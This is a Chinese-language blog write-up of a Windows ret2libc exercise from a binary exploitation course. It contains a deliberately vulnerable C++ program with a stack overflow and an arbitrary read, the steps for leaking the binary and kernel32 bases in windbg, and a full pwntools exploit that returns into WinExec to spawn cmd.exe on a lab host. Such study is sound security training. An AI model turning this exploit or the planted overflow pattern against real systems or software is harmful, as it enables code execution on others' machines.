AngelBoy Windows Binary Exploitation ret2lib Writeup

kazma 成大資安社 創辦人/社長

Exploitation

這題要練習的事 windows 的 ret2lib,首先看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//g++ -g -o ret2lib.exe ret2lib.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

void See_something(unsigned long long addr) {
unsigned long long* address;
address = (unsigned long long*)addr;
printf("The content of the address : %p\n", *address);
};

char name[20];

char* getname(char* username) {
return strdup(name);
}

int main() {
printf("Main:%p\n", &main);
setvbuf(stdout, 0, _IONBF, 0);
char address[20];
char message[256];
unsigned long long addr = 0;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
printf("Name:");
read(0, name, 20);
puts("What do you want to see in memory?");
printf("Give me an address (in hex) :");
read(0, address, 20);
addr = strtoll(address, 0, 16);
See_something(addr);
printf("Leave some message for me :");
read(0, message, 0x400);
printf("%s\n", message);
puts("Thanks you");
getname(name);
return 0;
}

首先一開始一樣會先印出 main 的位置,我們可以透過 windbg 將 main 的位置減掉 binary base 得到 offset,之後就可以透過一開始印出的 main 減掉 offset 來得到 binary base 了,如下:
main
這邊得到 offset 是 0x1485
IAT 的 offset 可以透過把我們的 exe 丟進去 PE-bear 中的 Optional Header 的最底下會看到:
bear
IAT 的 offset 在這邊可以看到是 0x8268,拿到 IAT 的 offset 後,我們就可以在 windbg 看一下 IAT 上面有什麼,我們用 dqs 來搭配 symbol 解讀 function name:
dqs
我們這邊隨便挑一個順眼的來用例如說 GetLastErrorStub 這邊是 IAT + 0x10,然後我們接著打開 DLL Export Viewer 來看他的 offset 是多少,結果做到這邊之後我發現我 dqs 出來之後的好像都是跳板函數居多,沒辦法在 DLL Export Viewer 裡面搜尋到,於是查了資料後發現可以用 lm vm kernel32 的指令看到 kernel32 當前的 base 然後我們就可以減出 offset 了,操作如下:
lm
到這邊也可以在 exploit 先把 kernel32 的 base 印出來檢查對不對。
接著我們就可以透過 DLL Explort Viewer 去查 WinExec 的 offset 了,不過這邊要提醒的一點是跟剛剛一樣我們需要注意對齊的問題,因為如果這邊直接去執行,會發現程式死在 xmmword 的地方,這時我們可以補一個 ret gadget 來補齊這個 8 bytes。
最後我們會發現 WinExec 的參數還沒有設定,如果我們去執行後就會發現 WinExec 的參數 rcx 會是我們剛剛的 name,因為程式最後用 getname 把參數設定成 name 了,所以我們這邊就在 name 填上 cmd.exe\00 就行了。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r = remote("192.168.0.108", 56002)
context.arch = "amd64"

r.newline = b"\r\n"

r.recvuntil(b":")
main = int(r.recvuntil(b"\n"), 16)
binbase = main - 0x1485
# print(hex(binbase))
iat = binbase + 0x8268
GetLastErrorStub_iat = iat + 0x10
name = b"cmd.exe\00"

r.recvuntil(b":")
r.sendline(name)

r.recvuntil(b":")
r.sendline(hex(GetLastErrorStub_iat))
r.recvuntil(b":")
GetLastErrorStub = int(r.recvuntil(b"\n"), 16)
kernel32 = GetLastErrorStub - 0x10E10
print("kernel32: ", hex(kernel32))

winexec = kernel32 + 0x68AD0
ret = binbase + 0x1600
r.recvuntil(b":")
# p = cyclic(0x400)
p = b"a" * 296 + p64(ret) + p64(winexec)
# raw_input()
r.sendline(p)

r.interactive()

執行結果:
pwn

  • Title: AngelBoy Windows Binary Exploitation ret2lib Writeup
  • Author: kazma
  • Created at : 2024-11-19 00:29:07
  • Updated at : 2024-11-19 01:45:56
  • Link: https://kazma.tw/2024/11/19/AngelBoy-Windows-Binary-Exploitation-ret2lib-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
AngelBoy Windows Binary Exploitation ret2lib Writeup